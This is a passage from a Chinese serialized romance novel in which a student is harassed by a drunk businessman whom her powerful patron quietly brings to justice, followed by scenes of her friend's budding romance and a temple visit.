几天后的一个晚上,钟缊酌正在做雅思听力,手机屏幕里忽然蹦出个消息。 她打开,看到一条好友申请。 下面写着:我是张桢,麻烦通过一下。 钟缊酌没多想,顺手点了同意,紧接着,一连串的语音发了过来。 【打扰了缊酌,真不好意思,这么晚了,你现在有空吗?能不能来西四胡同一下啊。】 【就是,你知道前一阵吴少维开的会所被查那事儿吧,他肯定郁闷着呢,现在在西四胡同这儿一个人灌酒,喝得烂醉】 【但是他看上去不像光因为这事,他一直喊你名字,我有点儿担心,所以想让你来这儿劝劝他】 张桢说得很乱,应该是一边拉着吴少维一边发的语音,钟缊酌听到他旁边有嘟嘟囔囔的男声。 钟缊酌也很担心吴少维的状况,没犹豫,立马回复:【我这就过去。】 张桢:【等我给你派个车,时间很晚了,你一个女孩子家不安全。】 钟缊酌指尖顿了一下,不打算再跟他客套:【好的,谢谢。】 半小时后,钟缊酌到达了西四胡同。 月色靡靡,那片缠绕在墙壁间的绿色爬藤比先前看着更浓密了,像是潜伏在黑暗中的幽灵。 钟缊酌稳定了一下情绪,敲开门。 张桢几乎是小跑着来迎她,两人穿过前院,进了屋子,吴少维正仰面躺在沙发上。 钟缊酌看到旁边的八仙桌放着好几个倒下的酒瓶,酒渍也沾满了桌面。 “他怎么喝了这么多啊。” 钟缊酌走上前,拍了拍吴少维的胳膊,“少维,别喝了,送你回家好不好?” 听到这声柔软的呼唤,吴少维微微睁开眼。 当他在半明半暗的光线里看到那张心心念的面孔,受到惊吓般地动也不敢动,在想是不是因喝多产生了幻觉。 “快起来,我把缊酌叫来了,你有什么话赶紧说,说完带你去醒酒。”张桢在另一侧摇着他的肩膀。 所以不是幻觉? 吴少维用手掌撑着扶手边缘坐起来,用力按了下太阳穴,在女孩脸上定睛几秒:“缊酌,你怎么来了。” “还不是怕你出事。”张桢解释,“你方才一直喊她名字,我就把她叫过来的。” “我”吴少维眼神游离不定,露出明显的窘迫。 他缓了缓,又道:“我可能喝多了,胡乱喊的。” 这话说出来谁能信?反正张桢是不信的。 他很知趣儿地提出建议:“这样吧,我先去买点醒酒的药,你们慢慢聊。” 张桢走后,屋子里的空气骤然缩起,像是刚下完一场雨,又闷又潮。 钟缊酌在心里隐约猜测到什么,但她不敢乱说。 还是吴少维先开了口:“缊酌,其实我这些天一直很想和你说声对不起。” “作为朋友,我不该怀疑你,更不该轻信一个满嘴胡话的人,我就是个蠢蛋。” 钟缊酌那时候是有些气性在心里的,但听到他这么说,那些憋屈立马又消散全无了。 她反过来安慰着他:“你这是很正常的反应呀,毕竟咱俩认识的时间不长,换作是我,也会起疑心。” “真的吗?你不生气?” “嗯,你看你要不提起我都忘了。” 吴少维瞧着她清澈干净的眼睛,终于咧嘴笑了下。 张桢回来时,见两人正聊得开心,吴少维面色好了许多,说话也利索了,看来眼前这“解药”比他买的有用。 “哥,你还吃解酒药吗?” 吴少维摆手,“不用了,让你白跑一趟,真抱歉。” 张桢懒得跟他废话,“那我叫车来。” 吴少维想了想,却说,“你送缊酌回去,我今天还不能回家,喝成这样被父亲看见,又要骂我,我就在儿凑合一宿吧。” 张桢无奈,但也只能依他。 他叮嘱道:“明天记得去医院做个检查,一口气喝这么多,别喝成胃穿孔。” 从西四胡同出来,钟缊酌靠在后座上,思绪万千。 竟没想到吴少维心思如此细腻,对待朋友也是真诚得过分。 看来自己先前对他的揣测,也是以小人之心度君子之腹了吧。 而另一侧的张桢,像是为了避嫌,刻意坐远了些,与旁边的姑娘拉开距离。 这一路两人各怀心事,几乎零交流。 张桢瞥了眼从玻璃窗映出来的那道倩影。 琢磨着,今天这一趟也不算白来,至少知道这哥心里有了人- 正式进入秋季后,京市的气温降得很快。 凉风从窗户细缝里吹进,冻得钟缊酌直打哆嗦,她不得不抬手去关掉窗户。 冯伯这时候正好进来,说他要去外面买烟,让她自己看一会儿店,秦先生最近忙,无暇顾及这边的情况,别给他添麻烦。 钟缊酌点头:“好的,您放心。” 回想起来,确实有段时间没有看到秦拂清了,就连大院里也不见他的踪影,也不知他在忙什么。 钟缊酌意识到自己的想法时,被吓了一跳。 好端端的,她怎么会好奇起秦拂清的私事来? 门外忽然想起汽车鸣笛声,打断她这不知从何而起的惆怅。 钟缊酌以为是客人提前到店,急匆匆地跑去开门。 结果看到的却不是预约人张老板的脸,而是一张似曾相识的面孔。 当钟缊酌的脑海里和那个名字对上时,不禁心头颤了颤。 这人是黄寅安。 黄寅安坐在一辆奥迪车里,将车窗降到最低,冲她摆手:“钟小姐,好久不见了啊。” 他说话声音流里流气地,似乎是喝了酒。 钟缊酌手指蜷起,尽量保持态度恭敬:“黄总,实在抱歉,今天已经有别的客人预约,您改天再来吧。” “嘿,我想什么时候来就什么时候来,你们一个个地都当自己是天王老子啊,管天管地还管得了我拉屎放屁!” 钟缊酌不知道,黄寅安因秦拂清不让他来古玩馆这事儿,心里一直不痛快,最近又赶上严查,关掉很多会所,导致他没地方寻乐子了。 今天聚餐完路过这附近,脑袋昏昏沉沉地问司机周几,司机一说周六,他立马吩咐掉头拐进这条胡同。 黄寅安越想越来气,一个负责招待的学生而已,秦拂清还能因她跟自己翻脸? 就算真是看上她了,以后大不了再送他个漂亮姑娘,至于这么小气? 黄寅安又道:“钟小姐,你过来,我跟你说句话。” 钟缊酌以为他要问最近馆里的空期,没太设防往前走了几步。 哪知刚到车前,男人突然捞起她的手腕:“来来,先让我亲一口。” 说完就拽着她使劲往自己跟前送。 钟缊酌吓坏了,用力扯着胳膊,另一只手按住窗边,大喊:“你敢乱来!我报警了!” “嘿嘿报警?报警有用吗?你试试啊,看我怕不怕!” 不止是钟缊酌,这一举动把前面开车的助理也吓得够呛。 心说这可是秦先生的地界,也不知两人是什么关系,万一真惹怒了他那不得一块完蛋,您不想活,我还想活呢。 但他又不敢轻举妄动,怕一回去直接丢了饭碗。 钟缊酌脸色煞白,手腕都扯红了,关键时刻搬出了秦拂清:“这里有摄像头!秦总一定会知道这件事,在他的地盘流出丑闻,他的脸也没处搁!” 这句话倒确实提醒了黄寅安。 不管他是不是真的在意这姑娘,但名声他肯定是很在意的。 黄寅安“呸”一声,闷闷地收回了手:“真扫兴。” 他转头跟司机命令:“开去御足坊。” 冯伯回来后,看到钟缊酌低头坐在桌前,一动不动,叫她半天也不答应,纳闷这是怎么了。 等一走近,发现小姑娘眼圈通红,脸颊上还挂着泪痕,一看就是刚哭完。 “缊酌,你看着我,告诉我出什么事了?是不是又摔了瓷器?别怕,你也知道秦先生是个很好说话的人。” “不是,不是这样的——”钟缊酌一开口,眼泪又要流下来,冯伯忙递给她纸巾。 “没事,你慢慢说。” 钟缊酌擦完鼻涕,等心脏没那么刺痛了,才抽噎着把来龙去脉讲了一遍。 这事非要细究起来,其实她也没被占到实质性便宜,但钟缊酌心里就是觉得憋屈,恶心,像是受到了莫大的羞辱。 冯伯听完气得一拍桌子,在屋里来回踱步:“这臭不要脸的!我一定要告诉秦先生!现在就叫他过来!” 钟缊酌泪眼婆娑地:“可是他不是工作很忙?我们要不要收集一下证据先去报警。” “傻孩子,这事儿只能让秦先生来处理,别人管不了。” 冯盛走到休息室,调开监控录像后拨了个电话出去。 对面铃声大约响了十几秒,被接起:“冯伯,我马上要开会,有事先跟老季说——” 冯盛第一次没等秦拂清说完就打断了他的话:“先生,这事儿必须亲自跟您说,我甚至跟您都不知怎么开口,我先发一段录像过去,您看完就明白了。” 作者有话说:评论区掉落红包~【..top】 20-30 第21章 季昌在门外听到“咣当”一声, 像是水杯摔在地上破碎的声音。 他急忙推门而入,就看到秦拂清双手撑在桌面上,大口喘着气,眼见还要寻别的东西摔, 被季昌一把拽住胳膊:“秦总!” 季昌哪儿见过这种阵仗, 惊得不轻, 也顾不上礼数了,将人拦住说:“秦总,现在走廊上都是要去开会的,您这样动静太大了!有什么事都等一会儿再说,行不行?” 前段时间检查组刚走, 今天要开一场针对反腐的专题会议,秦拂清作为组长被安排第一个发言。 他本来是要在开始之前翻一遍发言材料, 这几天工作忙,还没来得及细看。 现在出了这档子事儿, 哪里还有心情顾虑这些,秦拂清现在恨不得会都不要参加了, 直接去找那姓黄的算账! 走廊上人头攒动, 秦拂清一边穿西装一边往外走:“一会儿邹总讲完,不要等结束了, 直接拿着钥匙去开车。” 季昌在后面本来还想再劝几句, 说这样影响不好, 但看他这样子, 八成也是听不进去。 也不知出了什么事, 能让向来沉着冷静的秦总急得连场合都不分了。 秦拂清到底还是有功底在的。 即便脑子里只有一个大纲,依靠现场翻阅资料,讲出的东西还是条理清晰, 滴水不漏。 只是在他中途离场时,现场掀起了一阵不小的骚动。 秦拂清没管那些碎言碎语,让季昌拿好资料,冷着脸走出了会议室- 冯盛想着今天秦先生或许不会来了,看他的样子是有工作在忙。 结果就在客人走后没多久,他又听到了那熟悉的发动机声。 “先生。”冯盛迎上去,表情愤然地想要再骂上那黄寅安几句,被秦拂清打断,“叫她来会客室。” “好的。” 钟缊酌推开门时,秦拂清正站在一幅油画下面,背对着她。 那是一幅风景画,很简单的一扇窗户,透过窗户外面种着一颗古老的槐树,唯一特别的地方,是那树上面还挂着个秋千在风中飘荡。 “秦总。”她喊了一声。 秦拂清慢慢转过身,一向沉冷严厉的目光像是失去了焦点,摇晃着落在她身上,如那暴风里失去方向的帆船,不知该前进还是后退。 他低头踱步到一张圆桌旁,拍拍旁边的椅子,“坐吧。” 钟缊酌在他的注视下,缓缓走过去,沉默着坐好。 其实面对秦拂清,她也不知道该说什么,她有一肚子的委屈,却不能对他说。 “我解决这件事的方式可能不会是你想的那样。” 秦拂清的嗓音有些哑,钟缊酌在想他是真的太累了,忙完工作还要立即奔波到这里处理她的麻烦,她点点头,“您说吧,我尽量理解。” “我不会报警,但能保证让他以后永远不会出现在你面前,你能接受吗?” 这句话说完,钟缊酌下意识想到的是,秦拂清是不是要和黄寅安去谈,让他不要再来打扰她? 可是这样有用吗,他那种人会守信用? 再说,这样的处理方式,相当于坏人最后没有受到一点惩罚。 钟缊酌没说好也没说不好,默了一会儿,不带情绪地回答:“事实上,您怎么解决,我没有权利决定。” 空气静了下来,两人都没再说话,只能听到外面的风拍打着窗户发出的沙沙声。 秦拂清站起来,一只手放到她的肩膀上,轻声开口:“这段时间我会派人保护你。” 他的掌心很热,那股灼热的力量莫名让人感到安心。 钟缊酌强迫自己抿起一个笑:“谢谢。” 秦拂清回到车上,点了一根烟,季昌忍不住提醒:“您最近抽得太多了,小心肺部感染。” “我心里有数。” 季昌不敢再多言,方才他已经从冯盛那里知晓了一些情况。 发生这样的事,秦总估摸也顾不上什么感染了,肺都要气炸几回。 秦拂清抽完半根,整个人缓过来一些,吐了口烟圈说:“给我去查查黄寅安的底。” 季昌不解:“您不报警吗?” “报警有用?”秦拂清冷笑一声,“就算人证物证齐全,猥亵未遂能判多久?他若在背后打点一圈,喝杯茶就出来了。” 季昌想了想说:“确实,那您的意思是用别的方式对付他?” 秦拂清眯了眯眼,罕见露出凶光,“他这种人,底子绝对干净不了,给我好好地查。”- 自从出事之后,钟缊酌都没再回大院了,她思来想去,还是觉得在学校里最安全。 既然报警没用,她现在唯一能做的,就是等秦拂清的消息。 这种异常很快被宋黎若察觉。 钟缊酌还在纠结要不要告诉她这件事,宋黎若已经凑了过来。 她挽着她的胳膊说:“你最近在学校干嘛呢,怎么都不回院儿里了。” 钟缊酌垂下眼睫,很不走心地“嗯”一声,“雅思成绩总提不上去,想在学校好好复习。” “胡说八道。”宋黎若撇撇嘴,“你在家里复习多清净,宿舍那么多人,你有心情看书啊。” 见瞒不过去,钟缊酌干脆心一横,跟她坦白了前因后果。 如她所料,宋黎若已经完全顾不上个人形象了,在操场上对着空气咒骂起来。 有路过的男生会好奇停留看一眼,她便叉起腰指着人家:“看什么看!男人没一个好东西!” 吓得人拔腿就跑。 旁边的钟缊酌赶紧抱住她:“冷静冷静,不然我们明天就得在学校里出名。” 宋黎若还气不过,踢了一脚旁边的石子,结果不小心把脚腕给撅到了。 “嘶——疼——” “没事儿吧!”钟缊酌忧心扶着她坐到树下,“给我看看。” 还好只是轻微的浮肿,钟缊酌又带她去了医务室,抹了些消肿的药膏。 “下午放学我让曹叔来接我,你跟我一块走吧。”宋黎若说。 这次钟缊酌没再拒绝,“行。” 两人坐车回了大院,宋黎若又问今天要不要去她家住。 说是伯母也挺想她了,钟缊酌知道,她还是在担心自己的状态。 “我回去拿点衣服。” “那我在楼下等你。” 晚上洗完澡,钟缊酌穿一件碎花睡裙从浴室走出来,而宋黎若正在吃着母亲切好的水果。 她拿起一块芒果勾引着她,“快来,可好吃了。” 宋黎若的父亲长期出差,家里一般只有母女两人在,钟缊酌甩了甩头发上的水珠,“你脚还没好呢,怎么不坐高一点的椅子。” “已经好啦,你看,能蹦能跳的。” “乖乖坐下,净胡闹。” 谢雯端出两杯酸奶捞放在两人面前,“缊酌,我记得你不爱吃榴莲,左边这杯是不带榴莲的。” “好呀,谢谢伯母。” “你们吃完了就去看书,别睡太晚。” “知道了妈,您先睡吧,我们不用你操心。” 谢雯是那种很传统的女人,遵循着日出而作日落而息的生活规律,每天很早就入睡了。 而两个年轻姑娘当然不会浪费这一晚,学习累了又开始听歌,打游戏,一直闹到十二点才躺下。 “缊酌,你现在还难受吗?”宋黎若整个人缩在被子里,只探出个小脑袋问。 “老实讲,还有一点,我这两天晚上做噩梦都会被吓醒。” “我有时候真的厌恶这个世界为什么没有超能力,那样能让男女的力量平等一些,就不怕这些变态了。” 钟缊酌使劲点头:“对,我要是有超能力,别说人,当时连那车都给一起掀翻。” 宋黎若捂着嘴笑,但很快就笑不出来了。 “秦拂清说让你等他的消息,可他们在工作上还有交集,他真的能狠下心来得罪他?” “我不知道。” 钟缊酌闭上眼睛,回忆着他那时的表情。 很复杂,也很冷淡,让人猜不透他在想什么。 秦拂清会是个言出必行的人吧,她想。 钟缊酌以为秦拂清说派人保护她只是为了让她安心。 结果在一次去学校外超市买东西时,她竟然真的看到两个穿黑制服的保镖在附近晃荡。 钟缊酌站在橱窗边,看着从玻璃里面映出来的身影,出神了片刻。 “发什么呆呢?”宋黎若捅了捅她。 “没事,我们回去吧。” 不久之后,也就是不到一个月的功夫,黄寅安被捕的消息便在圈子里传开了。 过程传的很邪乎,说是不知是哪位大佬背后指点,举报人提供的证据非常详细,上面很快成立了专案小组。 甚至黄寅安被抓时还在做足疗按摩,知道对面来意后,吓得当场尿了裤子。 黄寅安贪污的金额也是令人咂舌,除此之外,还涉及嫖.娼,滥用职权。 据说他这么多年来一直隐藏得很好,到进去也没想明白到底是怎么被发现的。 那天钟缊酌刚上完一节选修课,收拾好书包,从教室里走出来。 正午的阳光打在脸上,刺得人睁不开眼。 她用胳膊挡了一下,从口袋里掏出手机。 “嗡嗡”地震动声响了一路,倒要看看谁大中午的给她发这么多消息。 钟缊酌划开屏幕,隐约看到宋黎若的名字时,还困惑了几秒。 她有事向来是直接打电话,怎么热衷于发微信了。 钟缊酌又将屏幕亮度调到最大,才看清她发来的信息内容。 是一条新闻链接,和无数个夸张的表情包。 下一瞬间,钟缊酌的指尖开始发颤,盯了那条链接许久,才屏住呼吸点进去。 明晃晃的一行字写着: 黄某因严重违纪违法,涉嫌贪污罪,嫖.娼罪,滥用职权罪,数罪并罚,被判处无期徒刑。 钟缊酌静静站在阳光下,感受着心脏剧烈跳动地充实感。 无期徒刑。 这便是秦拂清给她的,再也不会让他出现在她面前的那份承诺。 作者有话说:现实中定罪肯定是没这么快的,这里根据剧情需要夸张了些 评论区掉落红包~ 第22章 自从古玩馆那匆匆一别之后, 钟缊酌就再也没和秦拂清照过面。 他好似一阵萧瑟软绵的秋风,轻轻刮过,在身上留下痕迹,又很快消失得无影无踪。 她本想当面好好跟他说声谢谢的。 钟缊酌有时会想不通, 他到底是怎样一个人呢? 他对她的帮助, 是举手之劳, 还是费心费力,为什么有时如此深明大义,有时讲话又很伤人。 钟缊酌很怕过度解读他的行为,又怕因理智太过冷漠,欠缺了礼数。 这种纠结的心情没持续多久, 宋黎若打来电话,说她遇到了麻烦。 原来, 她的脚伤本来是不严重的,结果因为不好好修养, 现在又肿了起来,连走路都费劲。 “大夫说让我杵个拐杖去上学, 开什么玩笑, 我不要面子的吗?” 钟缊酌又好气又好笑:“都说伤筋动骨一百天,谁让你不注意的呀, 伯母的话你也不听, 这下好了。” 宋黎若:“可我第二天明明都不疼了, 谁知道还能回光返照, 这破脚就是故意的, 嘶——” “又乱动了是不是。”钟缊酌心疼道,“不过说起来这事也有我一半的责任,要不然我找个人背你去怎么样?” 宋黎若听出她语气里的不对, 警惕道:“你找谁?” 钟缊酌嗯嗯了半天,最后说出个名字:“谈勉。” “我就知道!你准没安好心,你找他干嘛,还嫌我不够乱的啊。” 钟缊酌解释说:“我若是有那个力气肯定自己上了呀,这活儿八成得找个男孩子来干对吧,我就是看你跟他关系不错,没别的意思。” “少来。”宋黎若气哼哼地,“我就是腿断了也不用他来背。” “那你——” “我杵拐杖。” 宋黎若把能逃的课几乎都逃了,跟老师说明了情况,申请线上看教学视频。 逃不了的她就杵个白色的迷你拐杖,在钟缊酌的搀扶下去教室。 就这样每天车接车送地,本以为院儿里人不会知道,结果还是被传开了。 那天,她的车子刚拐到楼下,宋黎若正拖着疲惫的身躯慢慢往下挪,忽然听到有人喊她的名字。 她以为出现了幻听,可那声音又很耳熟 几秒后,谈勉的车缓缓滑行了过来,车窗降下,露出一张深邃硬朗的脸,他很欠地扯了个笑:“宋黎若,怎么变成独腿侠了?” 宋黎若白了他一眼,没好气地说:“要你管啊,你如果是来嘲笑我的就请回吧,本小姐心情不好,没空跟你逗。” 谈勉没在意她说的话,径直下了车,抄着口袋走到宋黎若面前。 低头看了看那受伤的脚,因缠有一层绷带,鞋子也换成了特制的:“嗬,还挺严重。” 他歪了下头,“用不用我背你进去?” “不用!”宋黎若大声说,“我用拐杖就行,已经习惯了。” 谈勉若有所思道:“不喜欢让人背着?” “不喜欢。” “行,那就不背。” 宋黎若刚要松口气,谁知下一秒,她突然感到脚下一空,仿佛失去了落地点,眼前的视野天旋地转。 宋黎若下意识抓住了旁边人的脖子。 “你干嘛!” 意识到发生什么,宋黎若的脸立即红掉了,她拿腿扑腾了几下:“快放我下来!” 谈勉又在笑,他的脸离得太近,呼出的热气缠绕在耳边:“还是抱你上去吧,我怕被碰瓷。” “你!” 宋黎若瞪着他,可一旦撞上那抹意味深长的眼神,又立马很怂地躲开了。 这个时间母亲还没回来,谈勉放她到沙发上,熟门熟路地去倒了杯水,宋黎若抿着唇,没接。 “不想喝?” “我想要蓝莓汁。” 谈勉挑了下眉,“等着。” 诺大的客厅只剩下一个人,宋黎若揉了揉发酸的胳膊。 方才搂着他脖子时不敢太用力,自己撑着劲儿,胳膊都快抽筋了。 想起来应该也不是第一次让他抱,记得小时候明明没这么紧张呢。 厨房里传出榨汁机的声音,宋黎若才反应过来他理解错了,她大喊:“冰箱里有蓝莓汁!你怎么自己去榨了呀!” 不一会儿,谈勉已经端着一杯深紫色的液体走出来:“不早说啊,没事,正好喝点儿新鲜的。” 宋黎若没辙,只好“勉强”接受了这份好意。 她咕咚咕咚地往下灌时,谈勉趁机摸了一把她头上的呆毛。 这份曾经再自然不过的动作,如今却让宋黎若心跳瞬间失衡。 “我这儿不需要人帮忙了,你可以走了。”宋黎若放下杯子,擦了擦嘴说。 “宋小姐,你未免也太无情了。”谈勉自顾自地来到冰箱面前,拿出一瓶冰可乐,晃了晃说,“起码请我喝点东西啊。” “哦。” 宋黎若拿出手机胡乱地刷着朋友圈,又听到旁边的人问她:“约你泡温泉怎么不去?” 他口吻听起来很随意,像是不经意一问。 “那个,我不是受伤了嘛” “我约你时好像没受伤呢吧?” 理由编不下去了,宋黎若干脆装死,眼睛紧紧盯着屏幕,一边滑动一边念叨着,那样子简直比上课都要专注。 谈勉从喉咙溢出一抹笑,将喝完的易拉罐轻轻一抛,罐体顺着那道弧线稳稳落入垃圾桶内。 他站起身,没再说什么,走到阳台去看她养的花。 其实宋黎若也搞不懂自己在别扭什么。 小时候也是一起游过泳的,甚至可以互相泼水扯对方的泳裤,但她总觉得现在不一样了,他们是大人了,总不能还像那时候一点儿边界感没有。 宋黎若这段时间没按时上课,日子都过乱了,忘记今天是周五,母亲到家会早一个钟头。 她听到阳台上那人“诶”一声,“伯母回来了啊。” “哎呀,糟了!” 宋黎若如临大敌,赶紧招呼谈勉,“你快走,让我妈看到肯定又要误会了!” 她下意识地想要站起来,完全不记得脚上还有伤。 就在伤口即将传来剧痛的那一刹那,谈勉冲了过来,宋黎若从来不知道他能跑那么快,一眨眼就到了她跟前。 谈勉双手撑住她的身子,宋黎若脚下一软,也顺势扑进了他怀里。 相比与之而来的阵痛,宋黎若胸口的心跳声更牵动着她那敏感的神经。 或者说,她已经不知道那是谁的心跳了。 只听两人胸前如擂鼓般在震动,这种异样的情绪一直蔓延至全身,宋黎若的大脑晕乎乎的。 她用力推开他,却被谈勉反手攥住手腕:“别闹,你再摔了伯母得骂死我。” 门口传来开门的声音,宋黎若觉得自己的脸肯定红透了,母亲看到会怎么想? 谈勉将人小心放回沙发上后,礼貌回身和谢雯打了声招呼:“伯母好。” 谢雯惊讶道:“小谈来了呀。” “妈——”宋黎若不打自招,“我回来在楼下正好碰上他,看到我脚不方便,就顺便送我上来了。” 谢雯笑呵呵地说:“行,那多谢小谈了,要不要留下一起吃个饭?” 谈勉摆手,“不了伯母,没什么事我就先撤了。” 他说完后,目光若有似无地在旁边女孩身上停留几秒,便转身离开了屋子。 谢雯换下衣服,去厨房捣鼓一会儿出来,毫无意外地问出了那句话:“闺女,你跟谈勉真的只是普通朋友?” “对啊。”宋黎若手托着脸,试图用冰凉的掌心来降温,“敬舟来了您也这么问,怎么了?我就不能有异性朋友啊,非得谈恋爱才行。” “妈不是这个意思。” 谢雯看着闺女那张红脸蛋儿,想了想,还是没细究,“算了,你自己问心无愧就好。”- 立冬后的那一天,恰逢周末,古柘寺即将举办一场重大的祈福仪式。 据说是托了某位资助人的福,将寺庙进行重新修缮,才破格在非节日期间做了这场法事。 白琪每年都会来古柘寺烧香拜佛,是典型的玄学少女。 暑假期间她已经去过一次,但听闻这个消息后,打算再去一趟,毕竟这种规模的祈福仪式可不是每年都有。 “缊酌,这周日我打算去古柘寺烧个香,你有兴趣吗?”两人做完项目正往宿舍走,她便和旁边的钟缊酌提了一嘴。 钟缊酌对这种事向来是没多大兴趣。 小时候,父母带她去逛杭州的灵隐寺,他们进去烧香,钟缊酌就在门口外面的榕树下喂鸽子。母亲出来让她也去求个愿,缊酌摇头,说她没什么愿望可求的,况且那些终其一生也达不到的目标怎么可能动动嘴皮子就能实现呢?还是喂鸽子好玩儿。 母亲还笑骂她人小鬼大。 可最近发生的一些事,让钟缊酌隐约感觉,这世上似乎确实存在运势一说。 如果可以的话,她真挺想让佛祖能保佑她远离那些小人。 “行,我正好也没什么事做,一起去吧。”她说。 古柘寺算是京中年代最久远的寺庙了,距今有一千七百年的历史,寺庙依山而建,北高南低,从停车场到寺中还要走一段距离。 许久没爬山,到达庙门口时,钟缊酌已经累得气喘吁吁。 白琪拽着她的包带,“看来以后得多锻炼呀,小钟同学。” 两人从山门顺着主路一路向北,这个季节的树叶已全部变了色,满眼的金黄,和那肃穆的红墙相映成辉,心情都变得舒畅了些。 “我们先去拜主殿,然后去看看祈福仪式,还有二十分钟开始。”白琪说。 钟缊酌记得她在路上讲过这个,也好奇查了查相关资料,“我记得说是外人不可以靠近对不对?” “嗯,所以我们只能远远地望上两眼。” 参拜过程比想象用的时间更长,主要是钟缊酌没经验,上香时耽误了一些功夫。 等她们到达毗卢阁隔壁时,法事已经开始了。 两人站在墙外使劲张望,却什么都看不到,仅有的一道小门外已经挤满了围观路人。 钟缊酌听到里面传来诵经的声音。 “看来咱们今天是没这眼福了。”白琪遗憾道。 “不好意思啊,都怪我耽误了时间。” “没关系,这种事也要讲究缘分,那既然没这份缘,咱们接着去后面看看吧。” “嗯。” “等下。”白琪忽然想起什么似地,“毗卢阁这里有一颗百事如意树,许愿很灵,我们先去挂个福牌。” 钟缊酌眨着眼睛问这棵树有什么特别之处,白琪给她讲:“是一棵柏树和一颗柿子树相伴共生,缠绕在一起生长的,所以叫它百事如意,非常神奇,你看到就明白了。” 不久之后。 当那棵神奇的古树出现在视野中时,钟缊酌第一时间注意到的却不是树,而是树下站着的那个人。 他站得很直,身姿挺拔如松,西装外套已经被脱下来,潇洒倜傥地搭在手肘处,里面是一件白衬衫。 寺庙里香烟缭绕,钟缊酌透过烟雾,竟一时分不清她看到的到底是虚还是实。 如若是实,他为什么会出现在这里?为什么一个人独自站在树下? 如若是虚,她又为什么能看得那么真切。 “缊酌,你看那人是不是秦拂清啊。” 这一声蓦地唤醒了钟缊酌的解离状态。 刹那间,眼前的迷雾散去,恍如隔世般地醒来,钟缊酌张了张嘴,“噢”一声,“好像是他。” 白琪自言自语道:“他这样的人也会来拜佛吗?他还能求什么呢?” 钟缊酌已然无暇思考这些问题。 她只是在想,这段日子以来,那个很想见的人,那个让她一直很想当面表达谢意的人。 最后竟以这样一种方式出现在了她面前。 作者有话说:评论区掉落红包~ 第23章 也不知是否因这份偶然相遇太过让人始料未及, 钟缊酌走过去时脚下就像踩了棉花糖,整个人都轻飘飘的。 等离得近了,秦拂清也注意到两人的身影。他微微侧头,和一身簌簌青衣的女孩对上了视线。 她踏着金黄的落叶, 眉如远山含黛, 柔桡轻曼般地朝他走来。 “秦总, 你也来祈福呀?”旁边的白琪礼貌性地先问了声好。 秦拂清短暂沉默几秒,克制地将目光移回。 想起这位是在京大项目研讨会见过的,想必两人是同学,他含着温润的嗓音开口:“我是陪朋友来的,他这会儿在里面参加法事。” 白琪做出恍然大悟地表情:“原来是这样啊。” 而钟缊酌这边, 好不容易见到了本人,明明有很多话想跟他说, 真到了跟前,却忽然卡了壳, 连一句都说不出来。 最后在男人沉静地注视下,嘴巴一张一合地, 也只吐出来两个字:“秦总。” 秦拂清看得直想笑。 他长得有那么吓人吗?还是说最近工作太忙, 把在单位里的戾气都带出来了,让平时一伶牙俐齿的姑娘在他面前都不敢讲话。 白琪和秦拂清不算熟, 客套打完招呼后, 也没打算继续聊下去。 她拉过钟缊酌来到树前, 指着那上面的一排排红色福牌和福布, “你看, 我们可以把愿望写在这上面,然后挂上去,它就能感知到我们的心意啦。” 钟缊酌点头, 脑子里想的却是另一件事,“嗯,那这东西去哪里弄呀?” “前面纪念品馆里有卖的,你在这儿等着我吧,我很快回来。” “行。” 白琪走后,树旁就只剩下两个人,钟缊酌莫名感到了一丝丝的尴尬。 她没办法像白琪一样忽视秦拂清的存在,也没办法没心没肺地讲些场面话打发时间。 况且,这是很难得的机会,下次再见到他指不定是什么时候,她还在这儿纠结什么呢? 钟缊酌心一横,几步走到秦拂清面前,像是憋了很久似地,深呼一口气:“秦总,特别感谢您能帮我解决那个大麻烦,这句话我憋了很久,虽然可能对您来说只是举手之劳,但对我却是救命之恩,谢谢您!” 看这讲话的气势,就差给当面鞠上一躬。 如此掏心掏肺的发言,任谁听了都会落下几分感动。 而秦拂清,他的关注点却在于,嗯?所以她以为这只是举手之劳? 到底是涉世未深的学生。她不知道,在这个圈子里被发现举报同行意味着什么,他是冒了多大的险才做得这件事情。 出事后的一周,他在黄寅安常去的会所里堵到过他。 那会儿秦拂清坐在车里,看到黄寅安喝得烂醉,被助理扶着出来时笑得一脸淫.荡,他把拳头攥得咯吱直响,差点儿就冲出去揍他一顿。 所幸被季昌及时拉住了,他说:“您现在揍他一顿,是解恨了,可那无疑是自爆行为,以后他入狱,所有人都会怀疑到您头上。” 秦拂清哪里会不懂得这个道理。 他闭上眼睛,缓了好久,才吩咐季昌驱车离开。 事实虽如此,他却没办法和她邀功。 秦拂清只能装作云淡风轻的样子:“在我的馆里发生这种事,我多少要负点儿责任。况且,他也是自作自受,常在河边走哪儿能不湿鞋。” 钟缊酌一双盈润的眼睛望着他:“那也得谢谢您,我又欠您一次恩情了。” 白琪拿着东西回来后,看到两人在聊天,以为是客套性地打发时间,没多想。 分别递过去一块福牌和福布说:“给你这个。” “谢谢。” 白琪又补充:“你求姻缘还是求什么呀,这棵树求姻缘是最灵的。” 钟缊酌用余光察觉到秦拂清好像在看她们,不知为何紧张起来,忙说道:“我不求姻缘,求考试运吧。” “嗯,那你可以把愿望写在福布上。” 钟缊酌本想写雅思顺利通过,犹豫一瞬,还是改成了她来之前祈祷的那个愿望: ——远离小人,多遇贵人。 两人捣鼓完之后,便和秦拂清告了别。 古柘寺的面积不算小,又逛了一个多小时,才回到山门。 从这里到学校坐公交地铁不方便,钟缊酌说:“我来打车吧,正好还你福布的钱。” 白琪耸耸肩:“也好。” 山区不比市里,软件上显示正在呼叫车辆,还需耐心等待十分钟。 反正也不着急,钟缊酌干脆坐在了路边的牙子上。 她今天是真的累了,白琪说得不错,她确实该好好锻炼一下身体。 过了好一会儿,车没打到,却迎面碰上了个熟人。 一辆银色的林肯停在眼前,驾驶座上的傅沅宗探出头来:“你们两个回学校吗?” 钟缊酌透过傅沅宗的脸,看到了坐在另一侧刚刚才照过面的男人,轻轻点下头:“是的。” “要不要我送你们?这里不好打车。” 挺耳熟的一句话。 钟缊酌回想起,之前从静谷山庄出来也是,她一个人站在路边等车,季总对她说了同样的话。 没等她开口,一旁的白琪对这位从天而降的英俊男人似乎完全没有抵抗力,也顾不上矜持了,眉飞色舞地说:“好呀,太感谢你了!” 说完之后,傅沅宗便按开后车门,两位姑娘一前一后上了车。 从上车互相寒暄完之后,钟缊酌都没再讲过话。 似乎是因白琪和傅沅宗之间属于纯陌生人,没有复杂的级别关系,反而更放得开,这两人几乎聊了一路。 白琪对祈福仪式很有兴趣,问了很多问题,傅沅宗也一一耐心给她解答,包括上香,礼佛,诵经,放生等流程。 